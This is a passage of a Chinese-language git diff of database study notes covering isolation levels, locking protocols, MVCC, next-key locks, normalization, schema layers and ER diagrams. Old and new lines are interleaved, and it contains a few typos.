T<sub>2</sub> 读取一个数据,T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和和第一次读取的结果不同。
|
||||
|
||||
## 提交读(READ COMMITTED)
|
||||
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png"/> </div><br>
|
||||
|
||||
一个事务可以读取自己的已提交数据,但是该数据可能过后就会被其它事务改变,因此也称为不可重复读。
|
||||
### 4. 幻影读
|
||||
|
||||
## 可重复读(REPEATABLE READ)
|
||||
T<sub>1</sub> 读取某个范围的数据,T<sub>2</sub> 在这个范围内插入新的数据,T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
|
||||
|
||||
保证在同一个事务中多次读取同样的记录结果是一致的。但是会出现幻读的问题,所谓幻读,指的是某个事务在读取某个范围内的记录时,其它事务会在范围内插入数据,产生幻行。
|
||||
<div align="center"> <img src="../pics//688dacfe-1057-412f-b3a1-86abb5b0f914.png"/> </div><br>
|
||||
|
||||
## 可串行化(SERIALIXABLE)
|
||||
## 解决方法
|
||||
|
||||
强制事务串行执行,避免幻读。
|
||||
产生并发不一致性问题主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。
|
||||
|
||||
# 可串行化调度
|
||||
在没有并发的情况下,事务以串行的方式执行,互不干扰,因此可以保证隔离性。在并发的情况下,如果能通过并发控制,让事务的执行结果和某一个串行执行的结果相同,就认为事务的执行结果满足隔离性要求,也就是说是正确的。把这种事务执行方式称为 **可串行化调度** 。
|
||||
|
||||
如果并行的事务的执行结果和某一个串行的方式执行的结果一样,那么可以认为结果是正确的。
|
||||
**并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
|
||||
|
||||
# 封锁类型
|
||||
# 三、封锁
|
||||
|
||||
排它锁 (X 锁),共享锁 (S 锁)
|
||||
## 封锁粒度
|
||||
|
||||
一个事务 T 对数据对象 A 加了 X 锁,T 就可以对 A 进行读取和更新。加锁期间其它事务不能对数据对象 A 加任何其它锁;
|
||||
<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
|
||||
|
||||
一个事务 T 对数据对象加了 S 锁,T 可以对 A 进行读取操作,但是不能进行更新操作。加锁期间其它事务能对数据对象 A 加 S 锁,但是不能加 X 锁。
|
||||
应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。
|
||||
|
||||
# 封锁粒度
|
||||
但是加锁需要消耗资源,锁的各种操作,包括获取锁,检查锁是否已经解除、释放锁,都会增加系统开销。因此封锁粒度越小,系统开销就越大。需要在锁开销以及数据安全性之间做一个权衡。
|
||||
|
||||
粒度可以是整个数据库,也可以是表,行,或者分量。
|
||||
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
|
||||
粒度越小,开销越大。
|
||||
## 封锁类型
|
||||
|
||||
# 封锁协议
|
||||
### 1. 排它锁与共享锁
|
||||
|
||||
## 三级封锁协议
|
||||
- 排它锁(Exclusive),简写为 X 锁,又称写锁。
|
||||
- 共享锁(Shared),简写为 S 锁,又称读锁。
|
||||
|
||||
<div align="center"> <img src="../pics//785806ed-c46b-4dca-b756-cebe7bf8ac3a.jpg"/> </div><br>
|
||||
有以下两个规定:
|
||||
|
||||
**1 级封锁协议**
|
||||
1. 一个事务对数据对象 A 加了 X 锁,就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
|
||||
2. 一个事务对数据对象 A 加了 S 锁,可以对 A 进行读取操作,但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁,但是不能加 X 锁。
|
||||
|
||||
事务 T 要修改数据 A 时必须加 X 锁,直到事务结束才释放锁。
|
||||
锁的兼容关系如下:
|
||||
|
||||
可以解决丢失修改问题;
|
||||
| - | X | S |
|
||||
| :--: | :--: | :--: |
|
||||
|X|No|No|
|
||||
|S|No|Yes|
|
||||
|
||||
**2 级封锁协议**
|
||||
### 2. 意向锁
|
||||
|
||||
在 1 级的基础上,要求读取数据 A 时必须加 S 锁,读取完马上释放 S 锁。
|
||||
意向锁(Intention Locks)可以支持多粒度封锁。它本身是一个表锁,通过在原来的 X/S 锁之上引入了 IX/IS,用来表示一个事务想要在某个数据行上加 X 锁或 S 锁。
|
||||
|
||||
有以下两个规定:
|
||||
|
||||
1. 一个事务在获得某个数据行对象的 S 锁之前,必须先获得 IS 锁或者更强的锁;
|
||||
2. 一个事务在获得某个数据行对象的 X 锁之前,必须先获得 IX 锁。
|
||||
|
||||
各种锁的兼容关系如下:
|
||||
|
||||
| - | X | IX | S | IS |
|
||||
| :--: | :--: | :--: | :--: | :--: |
|
||||
|X |No |No |No | No|
|
||||
|IX |No |Yes|No | Yes|
|
||||
|S |No |No |Yes| Yes|
|
||||
|IS |No |Yes|Yes| Yes|
|
||||
|
||||
## 封锁协议
|
||||
|
||||
### 1. 三级封锁协议
|
||||
|
||||
**一级封锁协议**
|
||||
|
||||
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
|
||||
|
||||
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么一个事务的修改就不会被覆盖。
|
||||
|
||||
| T<sub>1</sub> | T<sub>1</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-x(A) | |
|
||||
| read A=20 | |
|
||||
| | lock-x(A) |
|
||||
| | wait |
|
||||
| write A=19 | |
|
||||
| commit | |
|
||||
| unlock-x(A) | |
|
||||
| | obtain |
|
||||
| | read A=19 |
|
||||
| | write A=21 |
|
||||
| | commit |
|
||||
| | unlock-x(A)|
|
||||
|
||||
**二级封锁协议**
|
||||
|
||||
在一级的基础上,要求读取数据 A 时必须加 S 锁,读取完马上释放 S 锁。
|
||||
|
||||
可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。
|
||||
|
||||
**3 级封锁协议**
|
||||
| T<sub>1</sub> | T<sub>1</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-x(A) | |
|
||||
| read A=20 | |
|
||||
| write A=19 | |
|
||||
| | lock-s(A) |
|
||||
| | wait |
|
||||
| rollback | |
|
||||
| A=20 | |
|
||||
| unlock-x(A) | |
|
||||
| | obtain |
|
||||
| | read A=20 |
|
||||
| | commit |
|
||||
| | unlock-s(A)|
|
||||
|
||||
在 2 级的基础上,要求读取数据 A 时必须加 S 锁,直到事务结束了才能释放 S 锁。
|
||||
**三级封锁协议**
|
||||
|
||||
在二级的基础上,要求读取数据 A 时必须加 S 锁,直到事务结束了才能释放 S 锁。
|
||||
|
||||
可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。
|
||||
|
||||
## 两段锁协议
|
||||
| T<sub>1</sub> | T<sub>1</sub> |
|
||||
| :--: | :--: |
|
||||
| lock-s(A) | |
|
||||
| read A=20 | |
|
||||
| |lock-x(A) |
|
||||
| | wait |
|
||||
| read A=20| |
|
||||
| commit | |
|
||||
| unlock-s(A) | |
|
||||
| | obtain |
|
||||
| | read A=20 |
|
||||
| | write A=19|
|
||||
| | commit |
|
||||
| | unlock-X(A)|
|
||||
|
||||
加锁和解锁分为两个阶段进行。两段锁是并行事务可串行化的充分条件,但不是必要条件。
|
||||
### 2. 两段锁协议
|
||||
|
||||
加锁和解锁分为两个阶段进行,事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁,并且在释放一个封锁之后,T 不能再获得任何的其它锁。
|
||||
|
||||
事务遵循两段锁协议是保证并发操作可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
|
||||
|
||||
```html
|
||||
lock-x(A)...lock-s(B)...lock-s(c)...unlock(A)...unlock(C)...unlock(B)
|
||||
```
|
||||
|
||||
# 乐观锁和悲观锁
|
||||
但不是必要条件,例如以下操作不满足两段锁协议,但是它还是可串行化调度。
|
||||
|
||||
## 悲观锁
|
||||
```html
|
||||
lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(c)...unlock(C)...
|
||||
```
|
||||
|
||||
假定会发生并发冲突,屏蔽一切可能违反数据完整性的操作。
|
||||
# 四、隔离级别
|
||||
|
||||
Java synchronized 就属于悲观锁的一种实现,每次线程要修改数据时都先获得锁,保证同一时刻只有一个线程能操作数据,其他线程则会被阻塞。
|
||||
<font size=4> **1. 未提交读(READ UNCOMMITTED)** </font> </br>
|
||||
|
||||
## 乐观锁
|
||||
事务中的修改,即使没有提交,对其它事务也是可见的。
|
||||
|
||||
假设不会发生并发冲突,只在提交操作时检查是否违反数据完整性。
|
||||
<font size=4> **2. 提交读(READ COMMITTED)** </font> </br>
|
||||
|
||||
Java JUC 中的 Atomic 包就是乐观锁的一种实现,AtomicInteger 通过 CAS(Compare And Set)操作实现线程安全的自增操作。
|
||||
一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。
|
||||
|
||||
乐观锁有两种实现方式,数据版本和时间戳。它们都需要在数据库表中增加一个字段,使用这个字段来判断数据是否过期。例如,数据版本实现方式中,需要在数据库表中增加一个数字类型的 version 字段,当读取数据时,将 version 字段的值一同读出。随后数据每更新一次,对此 version 值加 1。当提交更新的时候,判断读出的 version 和数据库表中的 version 是否一致,如果一致,则予以更新;否则认为是过期数据。
|
||||
<font size=4> **3. 可重复读(REPEATABLE READ)** </font> </br>
|
||||
|
||||
## MySQL 隐式和显示锁定
|
||||
保证在同一个事务中多次读取同样数据的结果是一样的。
|
||||
|
||||
MySQL InnoDB 采用的是两阶段锁协议。在事务执行过程中,随时都可以执行锁定,锁只有在执行 COMMIT 或者 ROLLBACK 的时候才会释放,并且所有的锁是在同一时刻被释放。前面描述的锁定都是隐式锁定,InnoDB 会根据事务隔离级别在需要的时候自动加锁。
|
||||
<font size=4> **4. 可串行化(SERIALIXABLE)** </font> </br>
|
||||
|
||||
另外,InnoDB 也支持通过特定的语句进行显示锁定,这些语句不属于 SQL 规范:
|
||||
强制事务串行执行。
|
||||
|
||||
- SELECT ... LOCK IN SHARE MODE
|
||||
- SELECT ... FOR UPDATE
|
||||
<font size=4> **四个隔离级别的对比** </font> </br>
|
||||
|
||||
# 范式
|
||||
| 隔离级别 | 脏读 | 不可重复读 | 幻影读 |
|
||||
| :---: | :---: | :---:| :---: |
|
||||
| 未提交读 | YES | YES | YES |
|
||||
| 提交读 | NO | YES | YES |
|
||||
| 可重复读 | NO | NO | YES |
|
||||
| 可串行化 | NO | NO | NO |
|
||||
|
||||
记 A->B 表示 A 函数决定于 B,也可以说 B 函数依赖于 A。
|
||||
# 五、多版本并发控制
|
||||
|
||||
(Multi-Version Concurrency Control, MVCC)是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC;可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。
|
||||
|
||||
## 版本号
|
||||
|
||||
- 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。
|
||||
- 事务版本号:事务开始时的系统版本号。
|
||||
|
||||
InooDB 的 MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号:
|
||||
|
||||
- 创建版本号:指示创建一个数据行的快照时的系统版本号;
|
||||
- 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。
|
||||
|
||||
## Undo 日志
|
||||
|
||||
InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回滚指针把一个数据行(Record)的所有快照连接起来。
|
||||
|
||||
<div align="center"> <img src="../pics//e41405a8-7c05-4f70-8092-e961e28d3112.jpg"/> </div><br>
|
||||
|
||||
## 实现过程
|
||||
|
||||
以下过程针对可重复读隔离级别。
|
||||
|
||||
### 1. SELECT
|
||||
|
||||
该操作必须保证多个事务读取到同一个数据行的快照,这个快照是最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
|
||||
|
||||
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
|
||||
|
||||
把没对一个数据行做修改的事务称为 T,T 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
|
||||
|
||||
除了上面的要求,T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
|
||||
|
||||
### 2. INSERT
|
||||
|
||||
将系统版本号作为数据行快照的创建版本号。
|
||||
|
||||
### 3. DELETE
|
||||
|
||||
将系统版本号作为数据行快照的删除版本号。
|
||||
|
||||
### 4. UPDATE
|
||||
|
||||
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为更新前的数据行快照的删除版本号。可以理解为先执行 DELETE 后执行 INSERT。
|
||||
|
||||
## 快照读与当前读
|
||||
|
||||
### 1. 快照读
|
||||
|
||||
读取快照中的数据。
|
||||
|
||||
引入快照读的目的主要是为了免去加锁操作带来的性能开销,但是当前读需要加锁。
|
||||
|
||||
```sql
|
||||
select * from table ....;
|
||||
```
|
||||
|
||||
### 2. 当前读
|
||||
|
||||
读取最新的数据。
|
||||
|
||||
需要加锁,以下第一个语句加 S 锁,其它都加 X 锁。
|
||||
|
||||
```sql
|
||||
select * from table where ? lock in share mode;
|
||||
select * from table where ? for update;
|
||||
insert;
|
||||
update ;
|
||||
delete;
|
||||
```
|
||||
|
||||
# 六、Next-Key Locks
|
||||
|
||||
Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种锁实现。MVCC 不能解决幻读的问题,Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下,MVCC + Next-Key Locks,就可以防止幻读的出现。
|
||||
|
||||
## Record Locks
|
||||
|
||||
锁定的对象是索引,而不是数据。如果表没有设置索引,InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Locks 依然可以使用。
|
||||
|
||||
## Grap Locks
|
||||
|
||||
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
|
||||
|
||||
```sql
|
||||
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
|
||||
```
|
||||
|
||||
## Next-Key Locks
|
||||
|
||||
它是 Record Locks 和 Gap Locks 的结合。在 user 中有以下记录:
|
||||
|
||||
```sql
|
||||
| id | last_name | first_name | age |
|
||||
|------|-------------|--------------|-------|
|
||||
| 4 | stark | tony | 21 |
|
||||
| 1 | tom | hiddleston | 30 |
|
||||
| 3 | morgan | freeman | 40 |
|
||||
| 5 | jeff | dean | 50 |
|
||||
| 2 | donald | trump | 80 |
|
||||
+------|-------------|--------------|-------+
|
||||
```
|
||||
|
||||
那么就需要锁定以下范围:
|
||||
|
||||
```sql
|
||||
(-∞, 21]
|
||||
(21, 30]
|
||||
(30, 40]
|
||||
(40, 50]
|
||||
(50, 80]
|
||||
(80, ∞)
|
||||
```
|
||||
|
||||
# 七、关系数据库设计理论
|
||||
|
||||
## 函数依赖
|
||||
|
||||
记 A->B 表示 A 函数决定 B,也可以说 B 函数依赖于 A。
|
||||
|
||||
如果 {A1,A2,... ,An} 是关系的一个或多个属性的集合,该集合决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
|
||||
|
||||
对于函数依赖 W->A,如果能找到 W 的真子集使得 A 依赖于这个真子集,那么就是部分依赖,否则就是完全依赖;
|
||||
对于 W->A,如果能找到 W 的真子集 W',使得 W'-> A,那么 W->A 就是部分函数依赖,否则就是完全函数依赖;
|
||||
|
||||
以下关系中,Sno 表示学号,Sname 表示学生姓名,Sdept 表示学院,Cname 表示课程名,Mname 表示院长姓名。函数依赖为 (Sno, Cname) -> (Sname, Sdept, Mname)。注:实际开发过程中,不会出现这种表,而是每个实体都放在单独一张表中,然后实体之间的联系表用实体 id 来表示。
|
||||
## 异常
|
||||
|
||||
<div align="center"> <img src="../pics//b6a678c0-c875-4038-afba-301846620786.jpg"/> </div><br>
|
||||
以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade,键码为 {Sno, Cname}。也就是说,确定学生和课程之后,就能确定其它信息。
|
||||
|
||||
不符合范式的关系,会产生很多异常。主要有以下四种异常:
|
||||
| Sno | Sname | Sdept | Mname | Cname | Grade |
|
||||
| :---: | :---: | :---: | :---: | :---: |:---:|
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
|
||||
|
||||
1. 冗余数据
|
||||
2. 修改异常
|
||||
3. 删除异常
|
||||
4. 插入异常,比如如果新插入一个学生的信息,而这个学生还没选课,那么就无法插入该学生。
|
||||
不符合范式的关系,会产生很多异常,主要有以下四种异常:
|
||||
|
||||
关系数据库的范式理论就是是为了解决这四种异常。
|
||||
1. 冗余数据,例如学生-2 出现了两次。
|
||||
2. 修改异常,修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
|
||||
3. 删除异常,删除一个信息,那么也会丢失其它信息。例如如果删除了课程-1,需要删除第一行和第三行,那么学生-1 的信息就会丢失。
|
||||
4. 插入异常,例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
|
||||
|
||||
高级别范式的依赖基于低级别的范式。
|
||||
## 范式
|
||||
|
||||
## 第一范式 (1NF)
|
||||
范式理论是为了解决以上提到四种异常。高级别范式的依赖于低级别的范式。
|
||||
|
||||
属性不可分。
|
||||
<div align="center"> <img src="../pics//c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
|
||||
|
||||
## 第二范式 (2NF)
|
||||
### 1. 第一范式 (1NF)
|
||||
|
||||
属性不可分;
|
||||
|
||||
### 2. 第二范式 (2NF)
|
||||
|
||||
每个非主属性完全函数依赖于键码。
|
||||
|
||||
可以通过分解来满足。
|
||||
|
||||
**分解前**
|
||||
<font size=4> **分解前** </font><br>
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?S(Sno,Cname,Sname,Sdept,Mname)"/></div> <br>
|
||||
| Sno | Sname | Sdept | Mname | Cname | Grade |
|
||||
| :---: | :---: | :---: | :---: | :---: |:---:|
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sno,Cname)->(Sname,Sdept,Mname)"/></div> <br>
|
||||
以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖:
|
||||
|
||||
**分解后**
|
||||
- Sno, Cname -> Sname, Sdept, Mname
|
||||
- Sno -> Sname, Sdept
|
||||
- Sdept -> Mname
|
||||
- Sno -> Mname
|
||||
- Sno, Cname-> Grade
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?S1(Sno,Sname,Sdept,Mname)"/></div> <br>
|
||||
Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sno)->(Sname,Sdept,Mname)"/></div> <br>
|
||||
Sname, Sdept 和 Mname 都函数依赖于 Sno,而部分依赖于键码。当一个学生选修了多门课时,这些数据就会出现多次,造成大量冗余数据。
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sdept)->(Mname)"/></div> <br>
|
||||
<font size=4> **分解后** </font><br>
|
||||
|
||||
<div align="center"> <img src="../pics//8ef22836-8800-4765-b4b8-ade80096b323.jpg"/> </div><br>
|
||||
关系-1
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?S2(Sno,Cname,Grade)"/></div> <br>
|
||||
| Sno | Sname | Sdept | Mname |
|
||||
| :---: | :---: | :---: | :---: |
|
||||
| 1 | 学生-1 | 学院-1 | 院长-1 |
|
||||
| 2 | 学生-2 | 学院-2 | 院长-2 |
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sno,Cname)->(Grade)"/></div> <br>
|
||||
有以下函数依赖:
|
||||
|
||||
<div align="center"> <img src="../pics//b0748916-1acd-4138-b24c-69326cb452fe.jpg"/> </div><br>
|
||||
- Sno -> Sname, Sdept, Mname
|
||||
- Sdept -> Mname
|
||||
|
||||
## 第三范式 (3NF)
|
||||
关系-2
|
||||
|
||||
| Sno | Cname | Grade |
|
||||
| :---: | :---: |:---:|
|
||||
| 1 | 课程-1 | 90 |
|
||||
| 2 | 课程-2 | 80 |
|
||||
| 2 | 课程-1 | 100 |
|
||||
|
||||
有以下函数依赖:
|
||||
|
||||
- Sno, Cname -> Grade
|
||||
|
||||
### 3. 第三范式 (3NF)
|
||||
|
||||
非主属性不传递依赖于键码。
|
||||
|
||||
上述 S1 存在传递依赖,Mname 依赖于 Sdept,而 Sdept 又依赖于 Sno,可以继续分解。
|
||||
上面的关系-1 中存在以下传递依赖:Sno -> Sdept -> Mname,可以进行以下分解:
|
||||
|
||||
<div align="center"> <img src="../pics//923896c1-937e-4a38-b8a6-cec3040b4e2a.jpg"/> </div><br>
|
||||
关系-11
|
||||
|
||||
## BC 范式(BCNF)
|
||||
| Sno | Sname | Sdept |
|
||||
| :---: | :---: | :---: |
|
||||
| 1 | 学生-1 | 学院-1 |
|
||||
| 2 | 学生-2 | 学院-2 |
|
||||
|
||||
关系-12
|
||||
|
||||
| Sdept | Mname |
|
||||
| :---: | :---: |
|
||||
| 学院-1 | 院长-1 |
|
||||
| 学院-2 | 院长-2 |
|
||||
|
||||
### 4. BC 范式(BCNF)
|
||||
|
||||
所有属性不传递依赖于键码。
|
||||
|
||||
关系模式 STC(Sname, Tname, Cname, Grade),其中四个属性分别为学生姓名、教师姓名、课程名和成绩。有以下函数依赖:
|
||||
关系 STC(Sname, Tname, Cname, Grade) 的四个属性分别为学生姓名、教师姓名、课程名和成绩,它的键码为 (Sname, Cname, Tname),有以下函数依赖:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sname,Cname)->(Tname)"/></div> <br>
|
||||
- Sname, Cname -> Tname
|
||||
- Sname, Cname -> Grade
|
||||
- Sname, Tname -> Cname
|
||||
- Sname, Tname -> Grade
|
||||
- Tname -> Cname
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sname,Cname)->(Grade)"/></div> <br>
|
||||
存在着以下函数传递依赖:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sname,Tname)->(Cname)"/></div> <br>
|
||||
- Sname -> Tname -> Cname
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Sname,Tname)->(Grade)"/></div> <br>
|
||||
可以分解成 SC(Sname, Cname, Grade) 和 ST(Sname, Tname),对于 ST,属性之间是多对多关系,无函数依赖。
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?(Tname)->(Cname)"/></div> <br>
|
||||
# 八、数据库系统概述
|
||||
|
||||
分解成 SC(Sname, Cname, Grade) 和 ST(Sname, Tname),对于 ST,属性之间是多对多关系,无函数依赖。
|
||||
## 基本术语
|
||||
|
||||
# 约束
|
||||
### 1. 数据模型
|
||||
|
||||
## 键码
|
||||
由数据结构、数据操作和完整性三个要素组成。
|
||||
|
||||
用于唯一表示一个实体。键码可以由多个属性构成,每个构成键码的属性成为码。
|
||||
### 2. 数据库系统
|
||||
|
||||
## 单值约束
|
||||
数据库系统包含所有与数据库相关的内容,包括数据库、数据库管理系统、应用程序以及数据库管理员和用户,还包括相关的硬件和软件。
|
||||
|
||||
某个属性的值是唯一的。
|
||||
## 数据库的三层模式和两层映像
|
||||
|
||||
## 引用完整性约束
|
||||
- 外模式:局部逻辑结构
|
||||
- 模式:全局逻辑结构
|
||||
- 内模式:物理结构
|
||||
|
||||
一个实体的属性引用的值在另一个实体的某个属性中存在。
|
||||
<div align="center"> <img src="../pics//20150928140509757.png" width="600"/> </div><br>
|
||||
|
||||
## 域约束
|
||||
### 1. 外模式
|
||||
|
||||
某个属性的值在特定范围之内。
|
||||
又称用户模式,是用户和数据库系统的接口,特定的用户只能访问数据库系统提供给他的外模式中的数据。例如不同的用户创建了不同数据库,那么一个用户只能访问他有权限访问的数据库。
|
||||
|
||||
## 一般约束
|
||||
一个数据库可以有多个外模式,一个用户只能有一个外模式,但是一个外模式可以给多个用户使用。
|
||||
|
||||
一般性约束,比如大小约束,数量约束。
|
||||
### 2. 模式
|
||||
|
||||
# 数据库的三层模式和两层映像
|
||||
可以分为概念模式和逻辑模式,概念模式可以用概念-关系来描述;逻辑模式使用特定的数据模式(比如关系模型)来描述数据的逻辑结构,这种逻辑结构包括数据的组成、数据项的名称、类型、取值范围。不仅如此,逻辑模式还要描述数据之间的关系、数据的完整性与安全性要求。
|
||||
|
||||
外模式:局部逻辑结构;模式:全局逻辑结构;内模式:物理结构。
|
||||
|
||||
## 外模式
|
||||
|
||||
又称用户模式,是用户和数据库系统的接口,特定的用户只能访问数据库系统提供给他的外模式中的数据。例如不同的用户创建了不同数据库,那么一个用户只能访问他有权限访问的数据库。一个数据库可以有多个外模式,一个用户只能有一个外模式,但是一个外模式可以给多个用户使用。
|
||||
|
||||
## 模式
|
||||
|
||||
可以分为概念模式和逻辑模式,概念模式可以用概念 - 关系来描述;逻辑模式使用特定的数据模式(比如关系模型)来描述数据的逻辑结构,这种逻辑结构包括数据的组成、数据项的名称、类型、取值范围。不仅如此,逻辑模式还要描述数据之间的关系,数据的完整性与安全性要求。
|
||||
|
||||
## 内模式
|
||||
### 3. 内模式
|
||||
|
||||
又称为存储模式,描述记录的存储方式,例如索引的组织方式、数据是否压缩以及是否加密等等。
|
||||
|
||||
## 外模式/模式映像
|
||||
### 4. 外模式/模式映像
|
||||
|
||||
把外模式的局部逻辑结构和模式的全局逻辑结构联系起来。该映像可以保证数据和应用程序的逻辑独立性。
|
||||
|
||||
## 模式/内模式映像
|
||||
### 5. 模式/内模式映像
|
||||
|
||||
把模式的全局逻辑结构和内模式的物理结构联系起来,该映像可以保证数据和应用程序的物理独立性。
|
||||
|
||||
# ER 图
|
||||
# 九、关系数据库建模
|
||||
|
||||
Entity-Relationship,包含三个部分:实体、属性、联系。
|
||||
## ER 图
|
||||
|
||||
## 实体的三种联系
|
||||
Entity-Relationship,有三个组成部分:实体、属性、联系。
|
||||
|
||||
联系包含 1 对 1,1 对多,多对多三种。
|
||||
### 1. 实体的三种联系
|
||||
|
||||
如果 A 到 B 是 1 对多关系,那么画个带箭头的线段指向 B;如果是 1 对 1,画两个带箭头的线段;如果是多对多,画两个不带箭头的线段。
|
||||
联系包含一对一,一对多,多对多三种。
|
||||
|
||||
如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B;如果是一对一,画两个带箭头的线段;如果是多对多,画两个不带箭头的线段。下图的 Course 和 Student 是一对多的关系。
|
||||
|
||||
<div align="center"> <img src="../pics//292b4a35-4507-4256-84ff-c218f108ee31.jpg"/> </div><br>
|
||||
|
||||
## 表示出现多次的关系
|
||||
### 2. 表示出现多次的关系
|
||||
|
||||
一个实体在联系出现几次,就要用几条线连接。如下表示一个课程的先修关系,先修关系中,应当出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
|
||||
一个实体在联系出现几次,就要用几条线连接。下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
|
||||
|
||||
<div align="center"> <img src="../pics//8b798007-e0fb-420c-b981-ead215692417.jpg"/> </div><br>
|
||||
|
||||
## 联系的多向性
|
||||
### 3. 联系的多向性
|
||||
|
||||
下图中一个联系表示三个实体的关系。虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。
|
||||
虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。
|
||||
|
||||
<div align="center"> <img src="../pics//423f2a40-bee1-488e-b460-8e76c48ee560.png"/> </div><br>
|
||||
|
||||
@ -332,19 +576,47 @@ Entity-Relationship,包含三个部分:实体、属性、联系。
|
||||
|
||||
<div align="center"> <img src="../pics//de9b9ea0-1327-4865-93e5-6f805c48bc9e.png"/> </div><br>
|
||||
|
||||
## 表示子类
|
||||
### 4. 表示子类
|
||||
|
||||
用 is-a 联系来表示子类,具体做法是用一个三角形和两条线来连接类和子类。与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。
|
||||
用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。
|
||||
|
||||
<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg"/> </div><br>
|
||||
|
||||
# 一些概念
|
||||
# 十、约束
|
||||
|
||||
**数据模型** 由数据结构、数据操作和完整性三个要素组成。
|
||||
## 1. 键码
|
||||
|
||||
**数据库系统** 包括了数据库,数据库管理系统,应用程序以及数据库管理员和用户,还包括相关的硬件和软件。也就是说数据库系统包含所有与数据库相关的内容。
|
||||
用于唯一表示一个实体。
|
||||
|
||||
键码可以由多个属性构成,每个构成键码的属性称为码。
|
||||
|
||||
